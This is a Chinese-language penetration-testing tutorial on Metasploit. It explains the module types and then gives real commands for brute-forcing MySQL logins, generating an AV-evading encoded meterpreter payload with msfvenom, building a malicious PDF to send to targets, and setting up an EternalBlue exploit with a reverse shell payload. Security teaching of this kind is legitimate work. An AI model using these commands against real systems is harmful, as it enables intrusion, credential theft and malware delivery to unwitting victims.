漏洞利用

漏洞利用是利用程序中的某些漏洞,来得到计算机的控制权。通过漏洞扫描,可以从目标系统中找到容易攻击的漏洞。然后,利用该漏洞获取权限,从而实现对目标系统的控制。其中,较知名的是Metasploit渗透测试框架。

认识Metasploit

Metasploit是一款开源的安全漏洞检测工具。它可以帮助网络安全和IT专业人士识别安全性问题,验证漏洞的解决措施,从而完成对目标的安全性评估。该工具囊括了智能开发、代码审计、Web应用程序扫描和社会工程等各项功能。

Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。这些模块按照不同用途可以分为7种类型,分别是

Exploits(渗透攻击模块)

Auxiliary(辅助模块)

Post(后渗透攻击模块)

Payloads(攻击载荷模块)

Encoders(编码器模块)

Nops(空指令模块)

Evasion(规避模块)

下面将分别介绍这7种模块和插件的作用。

1. Exploit(渗透攻击模块)

利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓存区溢出、Web应用程序漏洞攻击、用户配置错误等。

主动渗透攻击:发送网络数据,触发安全漏洞。比如web应用程序渗透攻击、SCADA工业控制系统服务渗透攻击等。

被动渗透攻击:浏览器软件漏洞攻击和文件格式漏洞攻击,引诱目标用户打开触发。

msfconsle中输入命令show exploits;可以查看当前Metasploit支持的渗透攻击模块。

2.Auxiliary(辅助模块)

辅助模块包括针对各种网络服务的扫描与检测,构建虚假服务收集登录密码、口令猜测等模块。另外,辅助模块中还包括一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务攻击

3.Post(后渗透攻击模块)

后渗透攻击模块主要用于取得目标系统远程控制权之后的环节,实现在受控制系统中进行各种各样的后渗透攻击动作,如获取敏感信息、进一步拓展、实施跳板攻击等。

4.Payloads(攻击载荷模块)

攻击载荷是指我们希望对目标系统攻击成功之后去执行的代码。例如,创建一个Meterpreter连接或者通过绑定到一个监听端口,来获取Shell交互。也可以利用攻击载荷在目标操作系统上执行一些命令,如添加账号等。

Metasploit攻击载荷分为Single(独立)、Stager(传输器)和Stage(传输体)3种类型。

  • Single:是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,如添加一个系统用户或删除一份文件。
  • Stager:用于目标机与攻击机之间建立稳定的网络连接,与stages(传输体载荷)配合攻击,该种载荷体积都非常小,如:bind型和reverse型。

    bind型:需要攻击机主动连接目标端口。

    reverse型:目标机反向连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

  • Stage:在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。如得到目标机的shell或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。

5.空指令模块

空指令(NOP)是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90

6.编码模块

攻击载荷模块于空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序--编码

编译器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”。

第二个使命就是对攻击载荷进行”免杀“处理。

7.规避模块

规避模块是在Metasploit 5中新增加的。我们可以使用规避模块来规避Windows Defender防火墙。Windows Defender现在是Windows系统自带的防火墙工具。它不仅可以扫描系统,还可以对系统进行实时监控。

8.插件

插件能够扩充框架的功能,插件可以用于集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等。

初始化Metasploit

在Kali Linux中,Metasploit主要使用PostgreSQL数据库存储数据。在使用Metasploit框架时,需要启动PostgreSQL数据库。

root@kali:~# service postgresql start

另外,启动PostgreSQL数据库之后,还需要使用msfdb init命令创建和初始化数据库。

root@kali:~# msfdb init

可以看到自动创建了msf和msf_test数据库。创建了数据库配置文件database.yml。

创建工作区

为了区分不同的扫描任务,可以创建多个工作区,用来保存不同扫描任务的各种信息。相互独立,避免数据混淆。

msf5 > workspace -a kevin
[*] Added workspace: kevin
[*] Workspace: kevin
//-a选项表示添加工作区。

查看当前所在的工作区。

msf5 > workspace
  default
* kevin

切换工作区,并查看。

msf5 > workspace default
[*] Workspace: default
msf5 > workspace
  kevin
* default
msf5 >

导入扫描报告

我们可以导入一些第三方扫描报告,来获取主机信息。

db_import <filename> [file2...]

导入openvas生成的扫描报告文件openvas.xml

msf5 > db_import /root/Acunetix.xml
[*] Importing 'Acunetix' data
[*] Import: Parsing with 'Nokogiri v1.10.10'
[*] Successfully imported /root/openvas.xml

查看支持的报告格式

msf5 > db_import
Usage: db_import <filename> [file2...]

Filenames can be globs like *.xml, or **/*.xml which will search recursively
Currently supported file types include:
    Acunetix
    Amap Log
    Amap Log -m
    Appscan
    Burp Session XML
    Burp Issue XML
    CI
    Foundstone
    FusionVM XML
    Group Policy Preferences Credentials
    IP Address List
    IP360 ASPL
    IP360 XML v3
    Libpcap Packet Capture
    Masscan XML
    Metasploit PWDump Export
    Metasploit XML
    Metasploit Zip Export
    Microsoft Baseline Security Analyzer
    NeXpose Simple XML
    NeXpose XML Report
    Nessus NBE Report
    Nessus XML (v1)
    Nessus XML (v2)
    NetSparker XML
    Nikto XML
    Nmap XML
    OpenVAS Report
    OpenVAS XML
    Outpost24 XML
    Qualys Asset XML
    Qualys Scan XML
    Retina XML
    Spiceworks CSV Export
    Wapiti XML

查看导入的主机

msf5 > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  3      8         4      0      0      0
         kevin    0      0         0      0      0      0

查询渗透测试模

根据漏洞查找对应的渗透测试模块。在Metasploit中,使用search命令快速查找渗透测试模块。还可以到一些第三方网站查找渗透测试模块,并导入Metasploit中实施漏洞利用。

预分析扫描报告

成功导入了扫描报告。对该扫描报告进行分析,找出目标系统中的漏洞。然后,根据该漏洞查找可以利用该漏洞的渗透测试模块,并实施攻击。

(1)使用hosts命令查看报告的主机信息

        msf5 > hosts
        Hosts
        =====
        address  mac   name   os_name  os_flavor  os_sp  purpose   info  comments
        -------  ---   ----   ------   -------     -----  -------   ----  --------
        192.168.29.132                Unknown                      device
        192.168.29.134                Unknown                      device
        192.168.29.137                Unknown                      device

从输出的信息可以看到,该扫描报告中共有3台主机。

(2)使用vulns命令查看漏洞信息。

        msf5 > vulns
        Vulnerabilities
        ===============
        Timestamp                   Host               Name                    References
        ---------                   ----               ----                    ----------
        2019-04-12 10:25:36 UTC 192.168.29.137  /doc directory browsable
         CVE-1999-0678,BID-318
        2019-04-12 10:25:36 UTC 192.168.29.137  Apache HTTP Server 'httpOnly'
        Cookie Information Disclosure Vulnerability  CVE-2012-0053,BID-51706
        2019-04-12 10:25:36 UTC 192.168.29.137  awiki Multiple Local File Include
        Vulnerabilities      BID-49187
        2019-04-12 10:25:36 UTC 192.168.29.137  Check  for  Backdoor  in  UnrealIRCd
         CVE-2010-2075,BID-40820

从输出的信息, 可以看到扫描报告中的详细漏洞信息。以上漏洞信息中共包括4列,分别表示Timestamp(时间戳)、Host(主机地址)、Name(漏洞名称)和References(参考信息)。接下来,可以根据漏洞名称(Name)或参考信息(References)搜索可使用的攻击载荷。

手动查找攻击载荷

当用户确定目标系统中存在的漏洞后,可以在Metasploit中查找渗透测试模块,以选择可以利用其漏洞的渗透测试模块,进而实施渗透测试。

查找渗透测试模块的语法格式如下:

search [options] <keywords>

上语句中,options表示支持的选项;keywords表示可使用的关键字。其中,支持的选项及含义如下:

  • -h:显示帮助信息。
  • -o :指定输出信息的保存文件,格式为CSV。
  • -S :指定搜索的字符串。
  • -u:指定搜索模块。search命令支持的关键字及含义如表7-1所示。

手动查找CVE漏洞为2019年的渗透测试模块

msf5 > search cve:2019

Matching Modules
================

   #   Name                                                                    Disclosure Date  Rank       Check  Description
   -   ----                                                                    ---------------  ----       -----  -----------
   0   auxiliary/admin/http/supra_smart_cloud_tv_rfi                           2019-06-03       normal     No     Supra Smart Cloud TV Remote File Inclusion
   1   auxiliary/admin/http/wp_google_maps_sqli                                2019-04-02       normal     Yes    WordPress Google Maps Plugin SQL Injection
   2   auxiliary/admin/networking/cisco_dcnm_download                          2019-06-26       normal     No     Cisco Data Center Network Manager Unauthenticated File Download
   3   auxiliary/dos/http/cable_haunt_websocket_dos                            2020-01-07       normal     No     "Cablehaunt" Cable Modem WebSocket DoS
   4   auxiliary/dos/http/metasploit_httphandler_dos                           2019-09-04       normal     No     Metasploit HTTP(S) handler DoS
   5   auxiliary/dos/http/tautulli_shutdown_exec                                                normal     No     Tautulli v2.1.9 - Shutdown Denial of Service
   6   auxiliary/gather/cisco_rv320_config                                     2019-01-24       normal     No     Cisco RV320/RV326 Configuration Disclosure
   7   auxiliary/gather/ibm_bigfix_sites_packages_enum                         2019-03-18       normal     No     IBM BigFix Relay Server Sites and Package Enum
   8   auxiliary/gather/oats_downloadservlet_traversal                         2019-04-16       normal     Yes    Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal
   9   auxiliary/gather/pulse_secure_file_disclosure                           2019-04-24       normal     No     Pulse Secure VPN Arbitrary File Disclosure
   10  auxiliary/gather/qnap_lfi                                               2019-11-25       normal     Yes    QNAP QTS and Photo Station Local File Inclusion
   11  auxiliary/gather/rails_doubletap_file_read                                               normal     Yes    Ruby On Rails File Content Disclosure ('doubletap')
   12  auxiliary/scanner/http/citrix_dir_traversal                             2019-12-17       normal     No     Citrix ADC (NetScaler) Directory Traversal Scanner
   13  auxiliary/scanner/http/es_file_explorer_open_port                       2019-01-16       normal     No     ES File Explorer Open Port
   14  auxiliary/scanner/http/exchange_web_server_pushsubscription             2019-01-21       normal     No     Microsoft Exchange Privilege Escalation Exploit
   15  auxiliary/scanner/http/limesurvey_zip_traversals                        2020-04-02       normal     No     LimeSurvey Zip Path Traversals
   16  auxiliary/scanner/http/springcloud_traversal                            2019-04-17       normal     No     Spring Cloud Config Server Directory Traversal
   17  auxiliary/scanner/http/thinvnc_traversal                                2019-10-16       normal     No     ThinVNC Directory Traversal
   18  auxiliary/scanner/http/totaljs_traversal                                2019-02-18       normal     Yes    Total.js prior to 3.2.4 Directory Traversal
   19  auxiliary/scanner/http/tvt_nvms_traversal                               2019-12-12       normal     No     TVT NVMS-1000 Directory Traversal
   20  auxiliary/scanner/rdp/cve_2019_0708_bluekeep                            2019-05-14       normal     Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
   21  auxiliary/scanner/vxworks/urgent11_check                                2019-08-09       normal     No     URGENT/11 Scanner, Based on Detection Tool by Armis
   22  exploit/android/local/binder_uaf                                        2019-09-26       excellent  No     Android Binder Use-After-Free Exploit
   23  exploit/linux/http/bludit_upload_images_exec                            2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability
   24  exploit/linux/http/cisco_rv32x_rce                                      2018-09-09       normal     Yes    Cisco RV320 and RV325 Unauthenticated Remote Code Execution
   25  exploit/linux/http/cisco_ucs_rce                                        2019-08-21       excellent  Yes    Cisco UCS Director Unauthenticated Remote Code Execution
   26  exploit/linux/http/citrix_dir_traversal_rce                             2019-12-17       excellent  Yes    Citrix ADC (NetScaler) Directory Traversal RCE
   27  exploit/linux/http/cpi_tararchive_upload                                2019-05-15       excellent  Yes    Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
   28  exploit/linux/http/cve_2019_1663_cisco_rmi_rce                          2019-02-27       good       Yes    Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution
   29  exploit/linux/http/dlink_dwl_2600_command_injection                     2019-05-15       excellent  No     DLINK DWL-2600 Authenticated Remote Command Injection
   30  exploit/linux/http/librenms_collectd_cmd_inject                         2019-07-15       excellent  Yes    LibreNMS Collectd Command Injection
   31  exploit/linux/http/nagios_xi_authenticated_rce                          2019-07-29       excellent  Yes    Nagios XI Authenticated Remote Command Execution
   32  exploit/linux/http/pulse_secure_cmd_exec                                2019-04-24       excellent  Yes    Pulse Secure VPN Arbitrary Command Execution
   33  exploit/linux/http/rconfig_ajaxarchivefiles_rce                         2020-03-11       good       Yes    Rconfig 3.x Chained Remote Code Execution
   34  exploit/linux/http/webmin_backdoor                                      2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   35  exploit/linux/http/webmin_packageup_rce                                 2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   36  exploit/linux/http/wepresent_cmd_injection                              2019-04-30       excellent  Yes    Barco WePresent file_transfer.cgi Command Injection
   37  exploit/linux/http/zimbra_xxe_rce                                       2019-03-13       excellent  Yes    Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
   38  exploit/linux/local/exim4_deliver_message_priv_esc                      2019-06-05       excellent  Yes    Exim 4.87 - 4.91 Local Privilege Escalation
   39  exploit/linux/local/omniresolve_suid_priv_esc                           2019-09-13       excellent  Yes    Micro Focus (HPE) Data Protector SUID Privilege Escalation
   40  exploit/linux/local/ptrace_traceme_pkexec_helper                        2019-07-04       excellent  Yes    Linux Polkit pkexec helper PTRACE_TRACEME local root exploit
   41  exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc      2018-11-01       good       Yes    Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation
   42  exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc       2019-06-05       excellent  Yes    Serv-U FTP Server prepareinstallation Privilege Escalation
   43  exploit/linux/ssh/cisco_ucs_scpuser                                     2019-08-21       excellent  No     Cisco UCS Director default scpuser password
   44  exploit/linux/upnp/dlink_dir859_exec_ssdpcgi                            2019-12-24       excellent  No     D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi
   45  exploit/linux/upnp/dlink_dir859_subscribe_exec                          2019-12-24       excellent  No     D-Link DIR-859 Unauthenticated Remote Command Execution
   46  exploit/multi/browser/chrome_array_map                                  2019-03-07       manual     No     Google Chrome 72 and 73 Array.map exploit
   47  exploit/multi/fileformat/libreoffice_logo_exec                          2019-07-16       normal     No     LibreOffice Macro Python Code Execution
   48  exploit/multi/http/atutor_upload_traversal                              2019-05-17       excellent  Yes    ATutor 2.2.4 - Directory Traversal / Remote Code Execution,
   49  exploit/multi/http/cisco_dcnm_upload_2019                               2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
   50  exploit/multi/http/cmsms_object_injection_rce                           2019-03-26       normal     Yes    CMS Made Simple Authenticated RCE via object injection
   51  exploit/multi/http/cmsms_showtime2_rce                                  2019-03-11       normal     Yes    CMS Made Simple (CMSMS) Showtime2 File Upload RCE
   52  exploit/multi/http/confluence_widget_connector                          2019-03-25       excellent  Yes    Atlassian Confluence Widget Connector Macro Velocity Template Injection
   53  exploit/multi/http/getsimplecms_unauth_code_exec                        2019-04-28       excellent  Yes    GetSimpleCMS Unauthenticated RCE
   54  exploit/multi/http/horde_form_file_upload                               2019-03-24       excellent  No     Horde Form File Upload Vulnerability
   55  exploit/multi/http/jenkins_metaprogramming                              2019-01-08       excellent  Yes    Jenkins ACL Bypass and Metaprogramming RCE
   56  exploit/multi/http/nostromo_code_exec                                   2019-10-20       good       Yes    Nostromo Directory Traversal Remote Command Execution
   57  exploit/multi/http/php_fpm_rce                                          2019-10-22       normal     Yes    PHP-FPM Underflow RCE
   58  exploit/multi/http/pimcore_unserialize_rce                              2019-03-11       normal     Yes    Pimcore Unserialize RCE
   59  exploit/multi/http/rails_double_tap                                     2019-03-13       excellent  Yes    Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability
   60  exploit/multi/http/shopware_createinstancefromnamedarguments_rce        2019-05-09       excellent  Yes    Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE
   61  exploit/multi/http/solr_velocity_rce                                    2019-10-29       excellent  Yes    Apache Solr Remote Code Execution via Velocity Template
   62  exploit/multi/http/totaljs_cms_widget_exec                              2019-08-30       excellent  Yes    Total.js CMS 12 Widget JavaScript Code Injection
   63  exploit/multi/http/vbulletin_widgetconfig_rce                           2019-09-23       excellent  Yes    vBulletin widgetConfig RCE
   64  exploit/multi/http/wp_crop_rce                                          2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload
   65  exploit/multi/misc/ibm_tm1_unauth_rce                                   2019-12-19       excellent  No     IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution
   66  exploit/multi/postgres/postgres_copy_from_program_cmd_exec              2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   67  exploit/openbsd/local/dynamic_loader_chpass_privesc                     2019-12-11       excellent  Yes    OpenBSD Dynamic Loader chpass Privilege Escalation
   68  exploit/osx/local/feedback_assistant_root                               2019-04-13       excellent  Yes    Mac OS X Feedback Assistant Race Condition
   69  exploit/osx/local/timemachine_cmd_injection                             2019-04-13       excellent  Yes    Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation
   70  exploit/solaris/local/xscreensaver_log_priv_esc                         2019-10-16       excellent  Yes    Solaris xscreensaver log Privilege Escalation
   71  exploit/unix/http/schneider_electric_net55xx_encoder                    2019-01-25       excellent  Yes    Schneider Electric Pelco Endura NET55XX Encoder
   72  exploit/unix/webapp/drupal_restws_unserialize                           2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   73  exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection       2019-02-26       excellent  Yes    elFinder PHP Connector exiftran Command Injection
   74  exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec              2019-06-06       excellent  Yes    FusionPBX Operator Panel exec.php Command Execution
   75  exploit/unix/webapp/rconfig_install_cmd_exec                            2019-10-28       excellent  Yes    rConfig install Command Execution
   76  exploit/unix/webapp/thinkphp_rce                                        2018-12-10       excellent  Yes    ThinkPHP Multiple PHP Injection RCEs
   77  exploit/unix/webapp/webmin_upload_exec                                  2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
   78  exploit/windows/browser/chrome_filereader_uaf                           2019-03-21       manual     No     Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86
   79  exploit/windows/http/file_sharing_wizard_seh                            2019-09-24       normal     Yes    File Sharing Wizard - POST SEH Overflow
   80  exploit/windows/http/kentico_staging_syncserver                         2019-04-15       excellent  Yes    Kentico CMS Staging SyncServer Unserialize Remote Command Execution
   81  exploit/windows/http/tomcat_cgi_cmdlineargs                             2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   82  exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce               2019-05-15       excellent  No     IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution
   83  exploit/windows/local/appxsvc_hard_link_privesc                         2019-04-09       normal     Yes    AppXSvc Hard Link Privilege Escalation
   84  exploit/windows/local/comahawk                                          2019-11-12       excellent  No     Microsoft UPnP Local Privilege Elevation Vulnerability
   85  exploit/windows/local/docker_credential_wincred                         2019-07-05       manual     Yes    Docker-Credential-Wincred.exe Privilege Escalation
   86  exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc  2020-02-25       excellent  Yes    Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation
   87  exploit/windows/local/ntusermndragover                                  2019-03-12       normal     Yes    Microsoft Windows NtUserMNDragOver Local Privilege Elevation
   88  exploit/windows/local/plantronics_hub_spokesupdateservice_privesc       2019-08-30       excellent  Yes    Plantronics Hub SpokesUpdateService Privilege Escalation
   89  exploit/windows/local/ricoh_driver_privesc                              2020-01-22       normal     Yes    Ricoh Driver Privilege Escalation
   90  exploit/windows/misc/ahsay_backup_fileupload                            2019-06-01       excellent  Yes    Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload
   91  exploit/windows/misc/ais_esel_server_rce                                2019-03-27       excellent  Yes    AIS logistics ESEL-Server Unauth SQL Injection RCE
   92  exploit/windows/misc/crosschex_device_bof                               2019-11-28       normal     No     Anviz CrossChex Buffer Overflow
   93  exploit/windows/misc/hp_operations_agent_coda_34                        2012-07-09       normal     Yes    HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow
   94  exploit/windows/rdp/cve_2019_0708_bluekeep_rce                          2019-05-14       manual     Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
   95  post/windows/gather/credentials/teamviewer_passwords                                     normal     No     Windows Gather TeamViewer Passwords


Interact with a module by name or index, for example use 95 or use post/windows/gather/credentials/teamviewer_passwords

从输出的信息可以看到,搜索到匹配发布日期为2019年的所有渗透测试模块。在输出的信息中共包括5列信息,分别表示Name(攻击载荷名称)、Disclosure Date(发布日期)、Rank(级别)、Check(是否支持漏洞检测)和Description(描述信息)。

找漏洞名称为MS17-010 SMB RCE Detection的渗透测试模块。

msf5 > search name:MS17-010 SMB RCE Detection

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


Interact with a module by name or index, for example use 4 or use exploit/windows/smb/ms17_010_psexec

从输出的信息可以看到,找到了可利用MS17-010漏洞的所有渗透测试模块。此时,可以选择一个渗透测试模块来实施渗透测试。例如,选择名为exploit/windows/smb/ms17_010_eternalblue的渗透测试模块。

 msf5 > exploit/windows/smb/ms17_010_eternalblue
 msf5 exploit(windows/smb/ms17_010_eternalblue) >

第三方查找

1.通过CVE漏洞网站查找

CVE漏洞网站的地址为https://www.cvedetails.com/

2.通过exploitDB漏洞网站查找

exploitDB漏洞网站的地址为https://www.exploit-db.com/

3.手动导入第三方模块

Metasploit对于一些比较新的漏洞或者没有官方模块支持的漏洞,只能自己手动编写或者导入第三方模块

从exoloitDB网站下载的第三方模块,这里将以exiftran(CVE-2019-9194)命令注入模块为例,并设置文件名为webtest.rb。具体操作步骤如下

1.将文件webtest.rb ,复制到metasploit对应的模块位置Metasploit模块的默认位置为/root/.msf4/module为了方便区分模块,可以按照模块的分类创建对应的文件夹,用来保存不同类型的模块

2.重新启动Metasploit工具,即可看到加载的渗透测试攻击模块

3.选择webtest模块,并查看模块的选项

从输出的信息可以看到,显示了webtest模块的所有选项。以上信息共包括4列,分别表示Name(选项名称)、CurrentSetting(当前设置)、Required(是否必须设置)和Description(描述)。从输出的信息可以看到,RHOSTS必须配置选项,但目前还没有设置

4.设置RHOSTS选项

msf5 exploit(test/webtest) > set RHOSTS <目标IP地址>

实施攻击

当找到可利用漏洞的渗透测试模块后,即可实施攻击。为执行进一步攻击,还可以加载攻击载荷(Payload)。然后,配置攻击载荷,并实施攻击

加载攻击载荷

攻击载荷就是前面提到的Payload模块。通过加载攻击载荷,以实现进一步攻击,如获取Shell和远程执行命令等。

加载攻击载荷的语法格式如下:

msf5 exploit(test/webtest) > set paylod <payload name>

参数payload name表示攻击载荷的名称

为上一节导入的webtest渗透测试模块加载攻击载荷。具体操作步骤如下

1.启动并选择渗透测试模块

2.查看可加载的Payload

msf5 exploit(test/webtest) > show payloads

从输出的信息可以看到,显示了当前渗透测试模块所有可用的payload。输出的信息共显示了6列信息,分别表示#(Payload编号)、Name(名称)、Disclosure Date(发布日期)、Rank(级别)、Check(是否支持检测)和Description(描述信息)。例如,加载一个PHP执行命令的payload,即php/exec。

3.加载攻击载荷

msf5 exploit(test/webtest) > set payload php/exec

配置攻击载荷

1.以php/exec为列,介绍配置攻击载荷的方法

msf5 exploit(test/webtest) > show options

2.设置攻击载荷的选项CMD

msf5 exploit(test/webtest) > set CMD dir

3.实施攻击

msf5 exploit(test/webtest) > exploit

设置架构

一些渗透测试模块可能支持多个系统架构。一般情况下,支持多系统架构的渗透测试模块都默认为自动的。当我们发起攻击后,渗透测试模块将自动根据探测的目标信息来选择目标。如果是通过其他途径获取目标主机的架构,也可以手动设置其架构,以提高渗透测试效率

以MS08_067漏洞模块为例,介绍设置架构的方法

1.选择MS08_067漏洞模块,并查看模块配置选项

msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > show options

从输出的信息可以看到MS08_067漏洞模块的所有配置选项。从显示的结果中可以看到,可利用的目标为Automatic Targeting。此时,可以使用show targets命令查看该漏洞模块支持的目标架构。

2.查看可利用的目标架构

msf5 exploit(windows/smb/ms08_067_netapi) > show targets

接下来根据自己的目标系统架构进行设置

set target [id]

3.设置目标架构为Windows XP SP0/SP1 Universal

msf5 exploit(windows/smb/ms08_067_netapi) > set target 2

再次查看模块的选项,可以看到已经确定了目标架构设置成功

设置编码

为了避免出现坏字符,或者规避目标主机中防火墙或杀毒软件的拦截,可以为攻击载荷设置编码,从而生成新的攻击载荷。其中,编码模块主要供msfvenom工具使用。

msfvenom是MSF框架配套的攻击载荷生成器

msfvenom [options] <var=val>

该命令常用的选项及含义如下:

  • -p:指定使用的Payload。
  • -e:指定编码格式。
  • -a:指定系统架构,默认是x86。
  • -s:指定Payload的最大值。
  • -a:指定payload的目标架构
  • --platform :指定payload的目标平台
  • -i:指定编码次数。
  • -f:指定生成的文件格式。
  • -o, --out path> 保存payload

1.查看支持的所有编码

root@kali:~# msfvenom -l encoders

2.创建攻击载荷

生成payload,必须两个必须的选项:-p -f

msfvenom -p windows/meterpreter/bind_tcp RHOST=10.2.3.67 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > payload.exe

成功使用x86/shikata_ga_nai编码创建了一个攻击载荷payload.exe文件

攻击范例

不同的攻击模块使用的步骤不同,需要灵活使用。但是,基本思路都一样。都是先查找可以利用其漏洞的渗透测试模块,然后加载攻击载荷,进而实施渗透测。

渗透攻击MySQL数据库服务

MySQL是一个关系型数据库管理系统,在Web服务器应用方面,MySQL数据库通常是用户的选择。如果管理员配置不当,就可能存在漏洞,如弱密码、用户权限配置错误等。此时,渗透测试者可以尝试对其实施渗透测试。在MSF控制终端,提供了一个辅助模块mysql_login,可以用来实施弱密码破解。下面将介绍使用该模块对MySQL数据库服务实施渗透测试。

1.使用mysql_login模块

msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) >

2.查看模块配置选项

msf5 auxiliary(scanner/mysql/mysql_login) > show options

有几个必须配置的选项,将对其进行配置

3.配置模块选项参数

设置目标主机地址、字典等,可以根据自己的需求进行设置

4.实施渗透测试

msf5 auxiliary(scanner/mysql/mysql_login) > exploit

可以看到,依次尝试使用指定字典来连接MySQL服务器,找到一个MySQL数据库用户和密码,用户名为root,密码为123123。

PDF文件攻击

PDF是一种文件格式,如果目标主机没有监听服务器类端口时,则需要使用被动渗透测试方式,可以尝试向客户端发送一个带病毒的PDF文件,进而实施被动攻击。

使用Adobe PDF Embedded EXE模块,创建PDF病毒文件

1.使用adobe_pdf_embedded_exe模块

msf5 > use exploit/windows/fileformat/adobe_pdf_embedded_exe

2.查看adobe_pdf_embedded_exe模块有效的选项

msf5 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options

以上信息显示了adobe_pdf_embedded_exe模块所有可用的选项。从以上输出的信息可以看到,默认使用的PDF病毒文件为template.pdf,输出文件名为evil.pdf。如果用户不想要使用默认的PDF文件时,可以指定自己的病毒文件及输出文件名

3.设置用户想要生成的PDF文件名

msf5 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set FILENAME test.pdf
FILENAME => test.pdf

4.设置INFILENAME选项。

为了利用该PDF文件,使用该选项指定用户访问的PDF文件位置。如果用户没有一个合适的PDF攻击文件,也可以使用默认的模板文件template.pdf,则无须配置该选项

提示:这里指定的PDF文件中不能包含关键字Root。否则,无法生成对应的带病毒PDF文件。

5.生成PDF病毒文件

msf5 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit

输出的信息显示test.pdf文件已经生成,被保存到/root/.msf4/local目录下,接下来可以将创建好的PDF文件通过邮件或其他方式发送到目标主机,然后在本地建立监听。当目标主机用户打开该PDF文件时,将可能被攻击。

利用MS17_010漏洞实施攻击

MS17_010是“永恒之蓝”(勒索病毒)所利用的一个Microsoft Windows漏洞。渗透测试者通过利用该漏洞向Microsoft服务器消息块1.0(SMBv1)服务器发送经特殊设计的消息,就可能允许远程代码执行

1.查询可利用MS17_010漏洞的渗透测试模块

msf5 > search  ms17-010

第2个是扫描模块;第3个是漏洞利用模块

2.选择smb_ms17_010模块,并查看其配置选

msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options

此时仅设置一个目标地址即可运行该模块,以探测目标是否存在MS17_010漏洞

3.配置RHOSTS选项

msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.36.130
rhosts => 192.168.36.130

4.实施漏洞扫描测试

msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit

目标主机中存在MS17_010漏洞,利用该漏洞对目标主机实施渗透测试

5.选择ms17_010_eternalblue模块

msf5 auxiliary(scanner/smb/smb_ms17_010) > use  exploit/windows/smb/ms17_010_eternalblue

6.加载攻击载荷

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

7.查看所有的配置选项参数

msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

根据配置选项参数,需要配置RHOST和LHOST

